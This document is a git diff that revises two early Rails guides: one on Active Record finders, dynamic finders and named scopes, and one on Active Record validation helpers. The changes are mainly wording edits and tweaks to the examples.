-+Client Load (0.000455) SELECT clients.* FROM clients INNER JOIN addresses
- ON addresses.client_id = client.id INNER JOIN mailing_addresses ON
++Client Load (0.000455) SELECT clients.* FROM clients INNER JOIN addresses
+ ON addresses.client_id = client.id INNER JOIN mailing_addresses ON
mailing_addresses.client_id = client.id
-------------------------------------------------------
@@ -399,45 +467,45 @@ When using eager loading you can specify conditions for the columns of the table
[source, ruby]
-------------------------------------------------------
-Client.first(:include => "orders", :conditions =>
- ["orders.created_at >= ? AND orders.created_at <= ?", Time.now - 2.weeks, Time.now])
+Client.first(:include => "orders", :conditions =>
+ ["orders.created_at >= ? AND orders.created_at <= ?", 2.weeks.ago, Time.now])
-------------------------------------------------------
== Dynamic finders
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the client model, you also get +find_by_locked+ and +find_all_by_locked+.
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the Client model, you also get +find_by_locked+ and +find_all_by_locked+.
-You can do +find_last_by_*+ methods too which will find the last record matching your parameter.
+You can do +find_last_by_*+ methods too which will find the last record matching your argument.
-You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!('Ryan')+
+You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like +Client.find_by_name!("Ryan")+
-If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked('Ryan', true)+.
+If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+.
-There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name('Ryan')+:
+There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+:
[source,sql]
-------------------------------------------------------
SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1
BEGIN
-INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
- VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', '0', '0')
+INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
+ VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
COMMIT
-------------------------------------------------------
-+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the parameters you passed in. For example:
++find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example:
[source, ruby]
-------------------------------------------------------
client = Client.find_or_initialize_by_name('Ryan')
-------------------------------------------------------
-will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
+will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
== Finding By SQL
-If you'd like to use your own SQL to find records a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:
+If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query:
[source, ruby]
-------------------------------------------------------
@@ -457,7 +525,7 @@ Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'")
== Working with Associations
-When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested controllers.
+When you define a has_many association on a model you get the +find+ method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested resources.
== Named Scopes
@@ -465,7 +533,7 @@ Named scopes are another way to add custom finding behavior to the models in the
=== Simple Named Scopes
-Suppose want to find all clients who are male. You could use this code:
+Suppose we want to find all clients who are male. You could use this code:
[source, ruby]
-------------------------------------------------------
@@ -485,7 +553,7 @@ class Client < ActiveRecord::Base
end
-------------------------------------------------------
-You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do +Client.active.first+.
+You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. If you want to find the first client within this named scope you could do +Client.active.first+.
=== Combining Named Scopes
@@ -514,25 +582,25 @@ class Client < ActiveRecord::Base
end
-------------------------------------------------------
-This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:
+This looks like a standard named scope that defines a method called +recent+ which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:
[source, ruby]
-------------------------------------------------------
class Client < ActiveRecord::Base
- named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } }
+ named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } }
end
-------------------------------------------------------
-And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.
+And now every time the +recent+ named scope is called, the code in the lambda block will be executed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.
=== Named Scopes with Multiple Models
-In a named scope you can use +:include+ and +:joins+ options just like in find.
+In a named scope you can use +:include+ and +:joins+ options just like in +find+.
[source, ruby]
-------------------------------------------------------
class Client < ActiveRecord::Base
- named_scope :active_within_2_weeks, :joins => :order,
+ named_scope :active_within_2_weeks, :joins => :order,
lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } }
end
-------------------------------------------------------
@@ -541,16 +609,16 @@ This method, called as +Client.active_within_2_weeks.all+, will return all clien
=== Arguments to Named Scopes
-If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this:
+If you want to pass to a named scope a required arugment, just specify it as a block argument like this:
[source, ruby]
-------------------------------------------------------
class Client < ActiveRecord::Base
- named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } }
+ named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } }
end
-------------------------------------------------------
-This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter.
+This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use prefix the arugment with an *.
[source, ruby]
-------------------------------------------------------
@@ -587,14 +655,14 @@ Just like named scopes, anonymous scopes can be stacked, either with other anony
== Existence of Objects
-If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.
+If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or false+.
[source, ruby]
-------------------------------------------------------
Client.exists?(1)
-------------------------------------------------------
-The above code will check for the existence of a clients table record with the id of 1 and return true if it exists.
+The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
[source, ruby]
-------------------------------------------------------
@@ -603,8 +671,6 @@ Client.exists?(1,2,3)
Client.exists?([1,2,3])
-------------------------------------------------------
-The +exists?+ method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.
-
Further more, +exists+ takes a +conditions+ option much like find:
[source, ruby]
@@ -627,10 +693,10 @@ Which will execute:
[source, sql]
-------------------------------------------------------
-SELECT count(*) AS count_all FROM clients WHERE (first_name = 1)
+SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
-------------------------------------------------------
-You can also use +include+ or +joins+ for this to do something a little more complex:
+You can also use +:include+ or +:joins+ for this to do something a little more complex:
[source, ruby]
-------------------------------------------------------
@@ -641,9 +707,9 @@ Which will execute:
[source, sql]
-------------------------------------------------------
-SELECT count(DISTINCT clients.id) AS count_all FROM clients
- LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
- (clients.first_name = 'name' AND orders.status = 'received')
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+ LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+ (clients.first_name = 'Ryan' AND orders.status = 'received')
-------------------------------------------------------
This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table.
@@ -701,30 +767,8 @@ Client.sum("orders_count")
For options, please see the parent section, <<_calculations, Calculations>>
-== Credits
-
-Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.
-
-Thanks to Mike Gunderloy for his tips on creating this guide.
-
== Changelog
http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16[Lighthouse ticket]
-* December 17 2008: Fixed up syntax errors.
-* December 16 2008: Covered hash conditions that were introduced in Rails 2.2.2.
-* December 1 2008: Added using an SQL function example to Selecting Certain Fields section as per http://rails.lighthouseapp.com/projects/16213/tickets/36-adding-an-example-for-using-distinct-to-ar-finders[this ticket]
-* November 23 2008: Added documentation for +find_by_last+ and +find_by_bang!+
-* November 21 2008: Fixed all points specified in http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-13[this comment] and http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-14[this comment]
-* November 18 2008: Fixed all points specified in http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-11[this comment]
-* November 8, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
-* October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg
-* October 27, 2008: Fixed up all points specified in http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-6[this comment] with an exception of the final point by Ryan Bigg
-* October 26, 2008: Editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
-* October 22, 2008: Calculations complete, first complete draft by Ryan Bigg
-* October 21, 2008: Extended named scope section by Ryan Bigg
-* October 9, 2008: Lock, count, cleanup by Ryan Bigg
-* October 6, 2008: Eager loading by Ryan Bigg
-* October 5, 2008: Covered conditions by Ryan Bigg
-* October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg
-* September 28, 2008: Covered first/last/all by Ryan Bigg
+* December 29 2008: Initial version by Ryan Bigg \ No newline at end of file
diff --git a/railties/doc/guides/source/activerecord_validations_callbacks.txt b/railties/doc/guides/source/activerecord_validations_callbacks.txt
index e0bb534d0b..8bfb69ea99 100644
--- a/railties/doc/guides/source/activerecord_validations_callbacks.txt
+++ b/railties/doc/guides/source/activerecord_validations_callbacks.txt
@@ -1,32 +1,34 @@
Active Record Validations and Callbacks
=======================================
-This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.
+This guide teaches you how to hook into the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database as well as how to perform custom operations at certain points in the object lifecycle.
After reading this guide and trying out the presented concepts, we hope that you'll be able to:
-* Correctly use all the built-in Active Record validation helpers
+* Use the built-in Active Record validation helpers
* Create your own custom validation methods
* Work with the error messages generated by the validation process
-* Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved.
-* Create special classes that encapsulate common behaviour for your callbacks
-* Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations.
+* Create callback methods to respond to events in the object lifecycle.
+* Create special classes that encapsulate common behavior for your callbacks
+* Create Rails Observers
-== Motivations to validate your Active Record objects
+== Overview of ActiveRecord Validation
-The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.
+Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. Why should you use validations? When do these validations take place?
+
+=== Why Use ActiveRecord Validations?
-There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:
+The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.
-* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level.
-* Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
-* Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods.
+There are several ways that you could validate the data that goes to the database, including native database constraints, client-side validations, and model-level validations. Each of these has pros and cons:
-== How it works
+* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and maintain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that are problematic to implement from the application level.
+* Implementing validations only at the client side can be difficult in web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
+* Using validation directly in your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the ability to easily create validations, providing built-in helpers for common validations while still allowing you to create your own validation methods.
-=== When does validation happens?
+=== When Does Validation Happen?
-There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it'll be recorded to it's table. Active Record uses the +new_record?+ instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:
+There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
[source, ruby]
------------------------------------------------------------------
@@ -34,7 +36,7 @@ class Person < ActiveRecord::Base
end
------------------------------------------------------------------
-We can see how it works by looking at the following script/console output:
+We can see how it works by looking at some script/console output:
------------------------------------------------------------------
>> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979"))
@@ -47,25 +49,25 @@ We can see how it works by looking at the following script/console output:
=> false
------------------------------------------------------------------
-Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either +save+ or +update_attributes+) will result in a SQL update operation. Active Record will use these facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.
+Saving new records means sending an SQL +INSERT+ operation to the database, while saving existing records (by calling either +save+ or +update_attributes+) will result in a SQL +UPDATE+ operation. Active Record will use these facts to perform validations upon your objects, keeping them out of the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.
-CAUTION: There are four methods that when called will trigger validation: +save+, +save!+, +update_attributes+ and +update_attributes!+. There is one method left, which is +update_attribute+. This method will update the value of an attribute without triggering any validation, so be careful when using +update_attribute+, since it can let you save your objects in an invalid state.
+CAUTION: There are four methods that when called will trigger validation: +save+, +save!+, +update_attributes+ and +update_attributes!+. There is one update method for Active Record objects left, which is +update_attribute+. This method will update the value of an attribute _without_ triggering any validation. Be careful when using +update_attribute+, because it can let you save your objects in an invalid state.
-=== The meaning of 'valid'
+=== The Meaning of +valid+
-For verifying if an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The proccess is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection.
+To verify whether an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The process is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection.
-== The declarative validation helpers
+== The Declarative Validation Helpers
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's +errors+ collection, this message being associated with the field being validated.
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated.
-Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.
+Each helper accepts an arbitrary number of attributes identified by symbols, so with a single line of code you can add the same kind of validation to several attributes.
-All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one the values +:save+ (it's the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.
+All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers.
=== The +validates_acceptance_of+ helper
-Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
+Validates that a checkbox on the user interface was checked when a form was submitted. This is normally used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
[source, ruby]
------------------------------------------------------------------
@@ -76,7 +78,7 @@ end
The default error message for +validates_acceptance_of+ is "_must be accepted_"
-+validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.
++validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.
[source, ruby]
------------------------------------------------------------------
@@ -85,7 +87,6 @@ class Person < ActiveRecord::Base
end
------------------------------------------------------------------
-
=== The +validates_associated+ helper
You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
@@ -100,13 +101,13 @@ end
This validation will work with all the association types.
-CAUTION: Pay attention not to use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
+CAUTION: Don't use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
-The default error message for +validates_associated+ is "_is invalid_". Note that the errors for each failed validation in the associated objects will be set there and not in this model.
+The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
=== The +validates_confirmation_of+ helper
-You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended.
+You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended.
[source, ruby]
------------------------------------------------------------------
@@ -116,6 +117,7 @@ end
------------------------------------------------------------------
In your view template you could use something like
+[source, html]
------------------------------------------------------------------
<%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>
@@ -133,21 +135,6 @@ end
The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_"
-=== The +validates_each+ helper
-
-This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
- validates_each :name, :surname do |model, attr, value|
- model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
- end
-end
-------------------------------------------------------------------
-
-The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.
-
=== The +validates_exclusion_of+ helper
This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
@@ -160,13 +147,13 @@ class MovieFile < ActiveRecord::Base
end
------------------------------------------------------------------
-The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask.
+The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask.
The default error message for +validates_exclusion_of+ is "_is not included in the list_".
=== The +validates_format_of+ helper
-This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the +:with+ option.
+This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the +:with+ option.
[source, ruby]
------------------------------------------------------------------
@@ -190,13 +177,13 @@ class Coffee < ActiveRecord::Base
end
------------------------------------------------------------------
-The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask.
+The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask.
The default error message for +validates_inclusion_of+ is "_is not included in the list_".
=== The +validates_length_of+ helper
-This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.
+This helper validates the length of your attribute's value. It includes a variety of different options, so you can specify length constraints in different ways:
[source, ruby]
------------------------------------------------------------------
@@ -215,7 +202,7 @@ The possible length constraint options are:
* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range.
* +:is+ - The attribute length must be equal to a given value.
-The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the +:message+ option to specify an error message.
+The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
[source, ruby]
------------------------------------------------------------------
@@ -224,27 +211,38 @@ class Person < ActiveRecord::Base
end
------------------------------------------------------------------
-This helper has an alias called +validates_size_of+, it's the same helper with a different name. You can use it if you'd like to.
+The +validates_size_of+ helper is an alias for +validates_length_of+.
=== The +validates_numericality_of+ helper
This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed.
-If you use +:integer_only+ set to +true+, then it will use the +$$/\A[+\-]?\d+\Z/$$+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using +Kernel.Float+.
+If you set +:integer_only+ to +true+, then it will use the +$$/\A[+\-]?\d+\Z/+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Kernel.Float+.
[source, ruby]
------------------------------------------------------------------
class Player < ActiveRecord::Base
validates_numericality_of :points
- validates_numericality_of :games_played, :integer_only => true
+ validates_numericality_of :games_played, :only_integer => true
end
------------------------------------------------------------------
+Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values:
+
+* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than (value)_"
+* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal the supplied value. The default error message for this option is "_must be greater than or equal to (value)_"
+* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to (value)_"
+* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must e less than (value)_"
+* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to (value)_"
+* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_"
+* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_"
+
+
The default error message for +validates_numericality_of+ is "_is not a number_".
=== The +validates_presence_of+ helper
-This helper validates that the attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty).
+This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty).
[source, ruby]
------------------------------------------------------------------
@@ -253,7 +251,7 @@ class Person < ActiveRecord::Base
end
------------------------------------------------------------------
-NOTE: If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.
+NOTE: If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
[source, ruby]
------------------------------------------------------------------
@@ -263,13 +261,13 @@ class LineItem < ActiveRecord::Base
end
------------------------------------------------------------------
-NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true
+NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you should use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true
The default error message for +validates_presence_of+ is "_can't be empty_".
=== The +validates_uniqueness_of+ helper
-This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.
+This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.
[source, ruby]
------------------------------------------------------------------
@@ -280,7 +278,7 @@ end
The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.
-There is a +:scope+ option that you can use to specify other attributes that must be used to define uniqueness:
+There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
[source, ruby]
------------------------------------------------------------------
@@ -290,7 +288,7 @@ class Holiday < ActiveRecord::Base
end
------------------------------------------------------------------
-There is also a +:case_sensitive+ option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.
+There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
[source, ruby]
------------------------------------------------------------------
@@ -301,13 +299,28 @@ end
The default error message for +validates_uniqueness_of+ is "_has already been taken_".
-== Common validation options
+=== The +validates_each+ helper
+
+This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
+
+[source, ruby]
+------------------------------------------------------------------
+class Person < ActiveRecord::Base
+ validates_each :name, :surname do |model, attr, value|
+ model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
+ end
+end
+------------------------------------------------------------------
+
+The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.
+
+== Common Validation Options
-There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which we'll cover right at the next topic.
+There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in the conditional validation topic.
=== The +:allow_nil+ option
-You may use the +:allow_nil+ option everytime you want to trigger a validation only if the value being validated is not +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+.
+The +:allow_nil+ option skips the validation when the value being validated is +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, the validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+.
